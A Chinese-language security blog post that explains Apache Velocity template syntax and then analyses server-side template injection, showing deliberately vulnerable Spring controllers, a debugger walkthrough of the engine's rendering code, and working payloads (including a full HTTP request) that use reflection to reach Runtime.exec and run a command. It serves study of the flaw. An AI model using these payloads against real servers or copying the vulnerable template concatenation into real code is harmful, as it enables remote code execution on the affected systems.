JAVA安全之Velocity模板注入刨析

最新推荐文章于 2024-08-27 19:32:02 发布
最新推荐文章于 2024-08-27 19:32:02 发布
阅读量601 收藏 17
点赞数 6
文章标签： 网络安全 web安全 信息安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_83799022/article/details/141600988
版权

文章前言

关于Velocity模板注入注入之前一直缺乏一个系统性的学习和整理，搜索网上大多数类似的内容都是一些关于漏洞利用的复现，而且大多都仅限于Velocity.evaluate的执行，对于载荷的构造以及执行过程并没有详细的流程分析，于是乎只能自己动手来填坑了~

模板介绍

Apache Velocity是一个基于模板的引擎，用于生成文本输出(例如：HTML、XML或任何其他形式的ASCII文本)，它的设计目标是提供一种简单且灵活的方式来将模板和上下文数据结合在一起，因此被广泛应用于各种Java应用程序中包括Web应用

基本语法

Apache Velocity的语法简洁明了，主要由变量引用、控制结构(例如：条件和循环)、宏定义等组成

变量引用

在Velocity模板中可以使用$符号来引用上下文中的变量，例如：

Hello, $name!

示例代码：

#Java代码
context.put("name", "Al1ex");

#模板内容
Hello, $name!     // 输出: Hello, Al1ex!

条件判断

Velocity支持基本的条件判断，通过#if、#else和#end指令来实现：

#if($user.isLoggedIn())
    Welcome back, $user.name!
#else
    Please log in.
#end

示例代码：

#Java代码

context.put("user", new User("Al1ex", true)); // 假设 User 类有 isLoggedIn 方法

#模板内容

#if($user.isLoggedIn())
    Welcome back, $user.name!
#else
    Please log in.
#end

// 输出: Welcome back, Al1ex!

循环操作

通过使用#foreach来遍历集合或数组

#foreach($item in $items)
    <li>$item</li>
#end

示例代码：

#Java代码
context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));

#模板内容

<ul>
#foreach($item in $items)
    <li>$item</li>
#end
</ul>


#输出:
<ul>
     <li>Apple</li>
    <li>Banana</li>
    <li>Cherry</li>
</ul>

宏定义类

Velocity支持定义宏，方便复用代码块，宏通过#macro定义，通过#end结束：

#macro(greet $name)
    Hello, $name!
#end

#greet("World")

示例代码：

#模板内容
#macro(greet $name)
    Hello, $name!
#end

#greet("Alice")

#输出: Hello, Alice!

方法调用

Velocity允许使用#符号调用工具类的方法，在使用工具类时你需要在上下文中放入相应的对象

#set($currentDate = $dateTool.get("yyyy-MM-dd"))

Today's date is $currentDate.

示例代码：

import org.apache.commons.lang3.time.DateUtils;

#Java代码
context.put("dateTool", new DateUtils());

#模板内容
#set($currentDate = $dateTool.format(new Date(), "yyyy-MM-dd"))

Today's date is $currentDate.

#输出内容: 
Today's date is 2024-08-16

包含插入

Velocity支持包含其他模板文件，通过#include指令实现，例如：
主模板文件main.vm

Hello, $name!

#if($isAdmin)
    #include("adminDashboard.vm")
#else
    #include("userDashboard.vm")
#end

用户仪表盘模板文件userDashboard.vm

Welcome to your user dashboard.
Here are your notifications...

管理员仪表盘模板文件adminDashboard.vm

Welcome to the admin dashboard.
You have access to all administrative tools.

假设我们有以下 Java 代码来渲染主模板：

import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;

import java.io.StringWriter;

public class IncludeExample {
    public static void main(String[] args) {
        // 初始化 Velocity 引擎
        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.init();

        // 创建上下文并添加数据
        VelocityContext context = new VelocityContext();
        context.put("name", "John Doe");
        context.put("isAdmin", true); // 或者 false，取决于用户权限

        // 渲染主模板
        Template template = velocityEngine.getTemplate("main.vm");
        StringWriter writer = new StringWriter();

        // 合并上下文与模板
        template.merge(context, writer);

        // 输出结果
        System.out.println(writer.toString());
    }
}

根据给定的上下文，如果isAdmin为 true，输出将会是：

Hello, John Doe!
Welcome to the admin dashboard.
You have access to all administrative tools.

如果isAdmin为false，输出将会是：

Hello, John Doe!
Welcome to your user dashboard.
Here are your notifications...

数学运算

Velocity也支持基本的数学运算和字符串操作

#set($total = $price * $quantity)
The total cost is $total.

#set($greeting = "Hello, " + $name)
$greeting

示例代码：

#Java代码
context.put("price", 10);
context.put("quantity", 3);
context.put("name", "Al1ex");

#模板内容
#set($total = $price * $quantity)
The total cost is $total.

#set($greeting = "Hello, " + $name)
$greeting

#输出内容:
The total cost is 30.
Hello, Al1ex

标识符类

'#'号标识符

在Apache Velocity模板引擎中#符号用来标识各种脚本语句，允许开发者在模板中实现逻辑控制、数据处理和代码重用等功能，下面是一些常见的以#开头的Velocity指令：
1、#set
用于设置变量的值

#set($name = "John")
Hello, $name!  ## 输出：Hello, John!

2、#if
用于条件判断

#if($age >= 18)
    You are an adult.
#else
    You are a minor.
#end

3、#else
'#'和if搭配使用，表示其它情况

#if($isMember)
    Welcome back, member!
#else
    Please sign up.
#end

4、#foreach
用于遍历集合(例如：数组或列表)

#foreach($item in $items)
    Item: $item
#end

5、#include
用于包含其他文件的内容

#include("header.vm")

6、#parse
类似于#include，但更适合解析并执行另一个模板文件

#parse("footer.vm")

7、#macro
用于定义可重用的宏

#macro(greeting $name)
    Hello, $name!
#end

#greeting("Alice")  ## 输出：Hello, Alice!

8、#break
在循环中用于提前退出循环

#foreach($i in [1..5])
    #if($i == 3)
        #break
    #end
    $i
#end

9、#stop
在模板的渲染过程中停止进一步的处理

#if($condition)
    #stop
#end

10、#directive
用于创建自定义指令

#directive(myDirective)

{}标识符

Velocity中的{}标识符用于变量和表达式的引用，它们提供了一种简洁的方法来插入变量值、调用方法或访问对象属性，例如：
1、引用变量
可以使用${}来引用一个变量的值，变量通常通过#set指令定义

#set($name = "John")

Hello, ${name}!  ## 输出：Hello, John!

2、访问对象属性
如果变量是一个对象，那么可以使用${}来访问该对象的属性

#set($person = {"firstName": "Jane", "lastName": "Doe"})
Hello, ${person.firstName} ${person.lastName}!  ## 输出：Hello, Jane Doe!

3、调用方法
在${}中调用对象的方法

#set($dateTool = $tool.date)
Today's date is: ${dateTool.format("yyyy-MM-dd")}  ## 输出当前日期

$标识符

在Apache Velocity模板引擎中$符号用于表示变量的引用，通过$您可以访问在模板中定义的变量、对象属性和方法，这是Velocity的核心特性之一，使得模板能够动态地插入数据
1、引用变量
使用$可以直接引用之前声明的变量，通常变量是通过#set指令定义的

#set($username = "Alice")
Welcome, $username!  ## 输出：Welcome, Alice!

2、访问对象属性
如果变量是一个对象，可以使用$来访问该对象的属性，例如：如果你有一个用户对象，你可以获取其属性

#set($user = {"name": "Bob", "age": 30})
Hello, $user.name! You are $user.age years old.  ## 输出：Hello, Bob! You are 30 years old.

3、调用方法
通过$来调用对象的方法以便执行某些操作或获取计算的结果

#set($dateTool = $tool.date)

Today's date is: $dateTool.format("yyyy-MM-dd")  ## 输出当前日期

4、表达式计算
虽然$本身只用于变量引用，但可以与{}结合使用来实现简单的数学运算

#set($a = 5)
#set($b = 10)
The sum of $a and $b is ${a + b}.  ## 输出：The sum of 5 and 10 is 15.

! 标识符

在Apache Velocity模板引擎中!符号主要用于处理变量的空值(null)和默认值，它提供了一种简单的方法来确保在引用变量时，如果该变量为空则使用一个默认值，这种功能有助于避免在模板中出现空值，从而增强模板的健壮性和用户体验，当您想要引用一个变量并提供一个默认值时，可以使用${variable!"defaultValue"}的语法，其中：
variable 是您希望引用的变量名
defaultValue 是该变量为空时将使用的值
1、基本使用
在这个例子中由于$name是空字符串所以输出了默认值"Guest"

#set($name = "")

Welcome, ${name!"Guest"}!  ## 输出：Welcome, Guest!

2、带有实际值的变量
如果变量有值那么!不会影响其输出，因为在这个例子中$name有值"Alice"，所以会直接输出这个值

#set($name = "Alice")

Welcome, ${name!"Guest"}!  ## 输出：Welcome, Alice!

模板注入

Velocity.evaluate

方法介绍

Velocity.evaluate是Velocity引擎中的一个方法，用于处理字符串模板的评估，Velocity是一个基于Java的模板引擎，广泛应用于WEB开发和其他需要动态内容生成的场合，Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果，这个方法通常用于在运行时动态创建内容，比如：生成HTML页面的内容或电子邮件的文本，方法如下所示：

public static void evaluate(Context context, Writer writer, String templateName, String template)

参数说明：

  • Context context：提供模板所需的数据上下文，可以包含多个键值对
  • Writer writer：输出流，用于写入生成的内容
  • String templateName：模板的名称，通常用于调试信息中
  • String template：要评估的模板字符串

示例代码

简易构造如下代码所示：

package com.velocity.velocitytest.controller;

import org.apache.velocity.app.Velocity;
import org.apache.velocity.VelocityContext;
import org.springframework.web.bind.annotation.*;

import java.io.StringWriter;

@RestController
public class VelocityController {

    @RequestMapping("/ssti/velocity1")
    @ResponseBody
    public String velocity1(@RequestParam(defaultValue="Al1ex") String username) {
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Al1ex Al2ex Al3ex");
        ctx.put("phone", "18892936458");
        ctx.put("email", "Al1ex@heptagram.com");

        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);

        return out.toString();
    }
}

利用载荷

通过上面的菲尼我们可以构造如下payload：

username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")

调试分析

下面我们在Velocity.evaluate功能模块处打断点进行调试分析：


上面参数传递拼接templateString，带入Velocity.evaluate调用evaluate方法：


随后继续向下跟进，在这调用当前类中的evaluate

随后在evaluate中先检查模板名称是否为空，不为空后调用parser进行模板解析：

在这里首先检查是否已经初始化解析器，如果未初始化则进行初始化操作，随后从解析器池中获取一个Parser对象，如果池中没有可用的解析器，则将keepParser标志设为true以便找到对应的适配的解析器，紧接着调用dumpVMNamespace(templateName)方法来转储命名空间信息并使用parser.parse(reader, templateName)方法从reader中解析模板，返回的结果存储在var6中

随后调用parser进行模板解析，首先初始化和状态清理，随后开始进行解析

public SimpleNode parse(Reader reader, String templateName) throws ParseException {
        SimpleNode sn = null;
        this.currentTemplateName = templateName;

        try {
            this.token_source.clearStateVars();
            this.velcharstream.ReInit(reader, 1, 1);
            this.ReInit((CharStream)this.velcharstream);
            sn = this.process();
        } catch (MacroParseException var6) {
            this.rsvc.getLog().error("Parser Error: " + templateName, var6);
            throw var6;
        } catch (ParseException var7) {
            this.rsvc.getLog().error("Parser Exception: " + templateName, var7);
            throw new TemplateParseException(var7.currentToken, var7.expectedTokenSequences, var7.tokenImage, this.currentTemplateName);
        } catch (TokenMgrError var8) {
            throw new ParseException("Lexical error: " + var8.toString());
        } catch (Exception var9) {
            String msg = "Parser Error: " + templateName;
            this.rsvc.getLog().error(msg, var9);
            throw new VelocityException(msg, var9);
        }

        this.currentTemplateName = "";
        return sn;
    }

随后进行模板渲染操作，如果nodeTree为null，则返回false，表示评估失败，如果nodeTree不为null，则调用render方法，使用提供的上下文、写入器和日志标签来渲染模板，将render方法的结果(布尔值)作为返回值，如果渲染成功则返回 true，否则返回false


render渲染代码如下所示：

public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) {
        InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
        ica.pushCurrentTemplateName(logTag);

        try {
            try {
                nodeTree.init(ica, this);
            } catch (TemplateInitException var18) {
                throw new ParseErrorException(var18, (String)null);
            } catch (RuntimeException var19) {
                throw var19;
            } catch (Exception var20) {
                String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                this.getLog().error(msg, var20);
                throw new VelocityException(msg, var20);
            }

            try {
                if (this.provideEvaluateScope) {
                    Object previous = ica.get(this.evaluateScopeName);
                    context.put(this.evaluateScopeName, new Scope(this, previous));
                }

                nodeTree.render(ica, writer);
            } catch (StopCommand var21) {
                if (!var21.isFor(this)) {
                    throw var21;
                }

                if (this.getLog().isDebugEnabled()) {
                    this.getLog().debug(var21.getMessage());
                }
            } catch (IOException var22) {
                throw new VelocityException("IO Error in writer: " + var22.getMessage(), var22);
            }
        } finally {
            ica.popCurrentTemplateName();
            if (this.provideEvaluateScope) {
                Object obj = ica.get(this.evaluateScopeName);
                if (obj instanceof Scope) {
                    Scope scope = (Scope)obj;
                    if (scope.getParent() != null) {
                        ica.put(this.evaluateScopeName, scope.getParent());
                    } else if (scope.getReplaced() != null) {
                        ica.put(this.evaluateScopeName, scope.getReplaced());
                    } else {
                        ica.remove(this.evaluateScopeName);
                    }
                }
            }

        }

        return true;
    }

随后通过render将模板的内容渲染到指定的Writer中，jjtGetNumChildren()用于获取子节点数量，this.jjtGetChild(i)获取第i个子节点，对每个子节点调用其render方法将上下文和写入器作为参数传递：


render的具体实现如下所示，在这里会调用execute方法来进行具体的解析操作：

execute的执行代码如下所示，可以看到这里的children即为我们传入的参数值：

public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {
        if (this.referenceType == 4) {
            return null;
        } else {
            Object result = this.getVariableValue(context, this.rootString);
            if (result == null && !this.strictRef) {
                return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);
            } else {
                try {
                    Object previousResult = result;
                    int failedChild = -1;

                    String methodName;
                    for(int i = 0; i < this.numChildren; ++i) {
                        if (this.strictRef && result == null) {
                            methodName = this.jjtGetChild(i).getFirstToken().image;
                            throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
                        }

                        previousResult = result;
                        result = this.jjtGetChild(i).execute(result, context);
                        if (result == null && !this.strictRef) {
                            failedChild = i;
                            break;
                        }
                    }

                    if (result == null) {
                        if (failedChild == -1) {
                            result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);
                        } else {
                            StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);

                            for(int i = 0; i <= failedChild; ++i) {
                                Node node = this.jjtGetChild(i);
                                if (node instanceof ASTMethod) {
                                    name.append(".").append(((ASTMethod)node).getMethodName()).append("()");
                                } else {
                                    name.append(".").append(node.getFirstToken().image);
                                }
                            }

                            if (this.jjtGetChild(failedChild) instanceof ASTMethod) {
                                methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();
                                result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
                            } else {
                                methodName = this.jjtGetChild(failedChild).getFirstToken().image;
                                result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
                            }
                        }
                    }

                    return result;
                } catch (MethodInvocationException var9) {
                    var9.setReferenceName(this.rootString);
                    throw var9;
                }
            }
        }
    }

通过反射获取执行的类

最终递归解析到"cmd.exe /c calc"

最后完成解析执行：

template.merge(ctx, out)

方法介绍

在Java的Velocity模板引擎中template.merge(ctx, out)是一个关键的方法，它主要用于将模板与给定的上下文数据合并，同时将结果输出到指定的目标，方法格式如下所示：

void merge(Context context, Writer writer)

参数说明：

  • Context context：包含动态数据的上下文对象，通常是VelocityContext的实例，使用上下文可以为模板提供变量和数据，使得模板能够在渲染时采用这些值
  • Writer writer： Writer类型的对象指定了合并后内容的输出目标，常见的实现包括 StringWriter, PrintWriter 等，可以将生成的内容写入字符串、文件或其他输出流

示例代码

Step 1：添加依赖
在pom.xml中添加以下依赖：

<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
        <dependency>
            <groupId>org.apache.velocity</groupId>
            <artifactId>velocity</artifactId>
            <version>1.7</version>
        </dependency>

Step 2：创建模板文件
在项目的src/main/resources/templates目录下创建一个名为template.vm的文件，内容如下

Hello, $name!

#set($totalPrice = $price * $quantity)
The total cost for $quantity items at $price each is: $totalPrice.

#foreach($item in $items)
- Item: $item
#end

Step 3：创建Controller类
接下来我们创建一个控制器类用于处理请求并返回渲染后的模板

package com.velocity.velocitytest.controller;

import org.apache.velocity.Template;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.context.Context;
import org.apache.velocity.VelocityContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import java.io.StringWriter;
import java.util.Arrays;

@RestController
public class VelocityController {

    private final VelocityEngine velocityEngine;

    @Autowired
    public VelocityController(VelocityEngine velocityEngine) { //通过构造函数注入方式获得Velocity引擎实例
        this.velocityEngine = velocityEngine;
    }

    @GetMapping("/generate")
    public String generate(@RequestParam String name,
                           @RequestParam double price,
                           @RequestParam int quantity) {
        // Step 1: 加载模板
        Template template = velocityEngine.getTemplate("template.vm");

        // Step 2: 创建上下文并填充数据
        Context context = new VelocityContext();
        context.put("name", name);
        context.put("price", price);
        context.put("quantity", quantity);
        context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));

        // Step 3: 合并模板和上下文
        StringWriter writer = new StringWriter();
        template.merge(context, writer);

        // 返回结果
        return writer.toString();
    }
}

Step 4：配置Velocity
为了使Velocity引擎可以工作，我们需要在Spring Boot应用程序中进行一些配置，创建一个配置类如下所示

package com.velocity.velocitytest.config;

import org.apache.velocity.app.VelocityEngine;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import java.util.Properties;

@Configuration
public class VelocityConfig {

    @Bean
    public VelocityEngine velocityEngine() {
        Properties props = new Properties();
        props.setProperty("resource.loader", "file");
        props.setProperty("file.resource.loader.path", "src/main/resources/templates"); // 模板路径

        VelocityEngine velocityEngine = new VelocityEngine(props);
        velocityEngine.init();
        return velocityEngine;
    }
}

Step 5：运行项目并进行访问

http://localhost:8080/generate?name=Alice&price=10.99&quantity=3

通过上面的菲尼我们可以构造如下payload：

username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")

调试分析

下面我们简易分析一下如何通过控制模板文件造成命令执行的过程，首先我们在template.merge处下断点：

随后在merge中调用当前类的merge：

随后调用render方法进行渲染：

随后通过render将模板的内容渲染到指定的Writer中，jjtGetNumChildren()用于获取子节点数量，this.jjtGetChild(i)获取第i个子节点，对每个子节点调用其render方法将上下文和写入器作为参数传递：

render的具体实现如下所示，在这里会调用execute方法来进行具体的解析操作：

execute的执行代码如下所示：

public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {
        if (this.referenceType == 4) {
            return null;
        } else {
            Object result = this.getVariableValue(context, this.rootString);
            if (result == null && !this.strictRef) {
                return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);
            } else {
                try {
                    Object previousResult = result;
                    int failedChild = -1;

                    String methodName;
                    for(int i = 0; i < this.numChildren; ++i) {
                        if (this.strictRef && result == null) {
                            methodName = this.jjtGetChild(i).getFirstToken().image;
                            throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
                        }

                        previousResult = result;
                        result = this.jjtGetChild(i).execute(result, context);
                        if (result == null && !this.strictRef) {
                            failedChild = i;
                            break;
                        }
                    }

                    if (result == null) {
                        if (failedChild == -1) {
                            result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);
                        } else {
                            StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);

                            for(int i = 0; i <= failedChild; ++i) {
                                Node node = this.jjtGetChild(i);
                                if (node instanceof ASTMethod) {
                                    name.append(".").append(((ASTMethod)node).getMethodName()).append("()");
                                } else {
                                    name.append(".").append(node.getFirstToken().image);
                                }
                            }

                            if (this.jjtGetChild(failedChild) instanceof ASTMethod) {
                                methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();
                                result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
                            } else {
                                methodName = this.jjtGetChild(failedChild).getFirstToken().image;
                                result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
                            }
                        }
                    }

                    return result;
                } catch (MethodInvocationException var9) {
                    var9.setReferenceName(this.rootString);
                    throw var9;
                }
            }
        }
    }

通过反射获取执行的类

最后完成解析执行：

补充一个可用载荷：

POST /ssti/velocity1 HTTP/1.1
Host: 192.168.1.7:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 303

username=#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cmd.exe /c calc"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

网络安全工程师老王
关注
  • 6
    点赞
  • 踩
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Solr Velocity模板注入RCE
吾所在处，即为净土
05-02 1318
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
多款Java模板引擎对比与模板注入的安全之旅
2301_80127209的博客
11-15 796
官方文档：FreeMarker技术将模板中占位变量和代码中响应给前台的数据，通过FreeMarker引擎对接直接输出响应给浏览器，提高了响应速度。原理：模板+数据模型=输出官方文档介绍：在基于MVC模型开发时，Velocity可作为view引擎，取代jsp官方文档：简单总结：Thymeleaf是适用于Web和独立环境的现代服务器端Java模板引擎，允许处理HTML、XML、TEXT、JAVASCRIPT、CSS、RAW。
Java SSTI服务端模版注入漏洞原理与利用
道阻且长，行则将至。
06-15 1404
本文通过具体的漏洞实例代码，分析、总结了 Java 项目常见的三大模板引擎（Velocity、FreeMarker、Thymeleaf）的 SSTI 漏洞原理与利用方法。虽然相应的模板引擎 SSTI 注入漏洞基本上都拥有 CVE 编号和安全版本，当时在开发人员错误引入存在漏洞缺陷的模板引擎版本的情况下，目标系统依旧存在 RCE 风险。
java-sec-code 目录穿越和模板注入漏洞
weixin_44687621的博客
08-18 995
目录穿越漏洞 虽然漏洞的payload非常简单，但是java的编程方法还是值得一看的。 漏洞分析 进入controller下的PathTraversal类下，可以看到如下代码。 @GetMapping("/path_traversal/vul") public String getImage(String filepath) throws IOException { return getImgBase64(filepath); } 这是漏洞的产生点，传入的参数fil
java毕设之售后服务管理系统.rar
03-22
开发者可能使用了Spring Boot框架，这是一个流行的Java微服务开发框架，可以简化项目的配置并提供依赖注入、数据访问、安全控制等功能。 数据库部分，根据文件"04数据库.rar"的命名，项目可能采用了MySQL或类似的...
测试报告模板+guice-3.0.jar+reportng-1.1.6.jar+velocity-dep-1.4.jar.zip
10-09
接着，`velocity-dep-1.4.jar` 是Apache Velocity的依赖包，Velocity是一个开源的Java模板引擎，用于生成动态Web内容。在测试报告场景中，Velocity可能被用来生成动态的HTML报告，允许开发者通过简单的模板语言来...
【漏洞预警】Apache Solr基于Velocity模板的远程命令执行漏洞
NOSEC2019的博客
10-31 1039
2019年10月末，白帽汇安全研究院发现网络上出现针对Apache Solr服务器的远程代码执行漏洞。该漏洞是由于Velocity模板存在注入所致（Velocity是一个基于Java的模板引擎，可让使用者通过模板语言引用Java中定义的对象）。攻击者在知道Solr服务器上Core名称后，先把params.resource.loader.enabled设置为true（就可加载指定资源），再进行远程...
Day66：WEB攻防-Java安全&amp；SPEL表达式&amp；SSTI模版注入&amp；XXE&amp；JDBC&amp；MyBatis注入
2301_82257383的博客
04-26 370
MyBatis支持两种参数符号，一种是#，另一种是KaTeX parse error: Expected 'EOF', got '#' at position 4: ，**#̲使用预编译，使用拼接SQL。（造成注入原因也是因为使用了$进行拼接）**：由于使用#{}会将对象转成字符串，形成order by “user” desc造成错误，因此很多研发会采用${}来解决，从而造成注入这个SQL语句的目的是将0x7e以及当前用户的用户名插入到指定的XML字段中，从而执行恶意操作或泄露敏感信息。
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8421
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
【网络安全】XML-RPC漏洞之盲SSRF
最新发布
等风来
08-27 111
我收到的响应是这样的，响应体中的状态为0，表示请求已成功发送：
2024年入职/转行网络安全，该如何规划？_网络安全职业规划
2401_85023531的博客
08-23 1157
前段时间，知名机构麦可思研究院发布了《2022年中国本科生就业报告》，其中详细列出近五年的本科绿牌专业，其中，信息安全位列第一。
如何用3个月零基础入门网络安全？_网络安全零基础怎么学习
2401_84466224的博客
08-23 1467
我们知道计算机最早是在西方发明出来的，很多名词或者代码都是英文的，甚至现有的一些教程最初也是英文原版翻译过来的，而且一个漏洞被发现到翻译成中文一般需要一个星期的时间，在这个时间差上漏洞可能都修补了。”答案是否定的，黑客用的电脑,不需要什么高的配置,只要稳定就行.因为黑客所使用的一些程序,低端CPU也可以很好的运行,而且不占什么内存.还有一个,黑客是在DOS命令下对进行的,所以电脑能使用到最佳状态!观看学习近十年所有0day挖掘的帖，然后搭建环境，去复现漏洞，去思考学习笔者的挖洞思维，培养自己的渗透思维。
网络安全（黑客）自学
白帽子凯哥聊黑客
08-22 1436
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
网络安全售前入门01——产品了解
打工人
08-23 628
为方便初入网络安全售前工作的小伙伴了解网安行业情况，我制作一系统售前入门（安全产品，安全服务，法律法规等）介绍，希望能给初进职场小伙伴提供一点帮助。
网络安全威胁2024年中报告
2301_76786857的博客
08-24 203
未知威胁组织（UTG）也对新能源、低轨卫星、人工智能等领域构成威胁。0day 漏洞利用：上半年 0day 漏洞数量达25个，攻击焦点从传统三巨头（微软、谷歌、苹果）转向边界设备，且攻击者在尝试新攻击角度。互联网黑产：不法分子利用网络技术形成黑色产业链，攻击手法多样，目标包括 IT 运维人员、线上考试系统等，目的为获取经济利益。勒索软件：全球勒索软件家族数量众多，新型变种频出，采用“双重勒索”模式，利用漏洞、恶意软件等手段进行攻击。，内容涵盖高级持续性威胁（APT）、勒索软件、互联网黑产、漏洞利用等几方面。
网络安全系统性学习路线「全文字详细介绍」
HUANGXIN9898的博客
08-27 840
🤟 基于入门网络安全打造的：👉黑客&网络安全入门&进阶学习资源包 一、基础与准备 网络安全行业与法规 想要从事网络安全行业，必然要先对行业建立一个整体的认知，了解网络安全对于国家和社会的作用，避免出现“一叶障目，不见森林”的情况。 Linux 操作系统（网安） 很多初学者也常忽略Linux的重要性，认为学习的重头戏在框架等方面，但其实Linux也是重中之重。 计算机网络基础 计算机网络基础是网络/运维工程师都需掌握的知识，但往往会被忽略。但是它是非常重要的。 HTML（
医疗器械网络安全
kerwin的专栏
08-20 733
本文根据《医疗器械网络安全注册审查指导原则（2022年修订版）（2022年第7号）》，对医疗器械网络安全进行部分解读，根据自己的理解以及市检测所，省检测所培训与反馈的信息，列举出网络安全软件开发设计，文档编写时的注意事项。文档官方下载地址：国家药品监督管理局医疗器械技术审评中心医疗器械网络安全注册审查指导原则（2022年修订版）（2022年第7号）随着科技的发展，网络安全越来越重要，对于医疗器械也是一样，相关的法规与注册要求会越来越严格。不管是个人还是企业都需要加强网络安全的意思，提升网络安全相关的能力。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值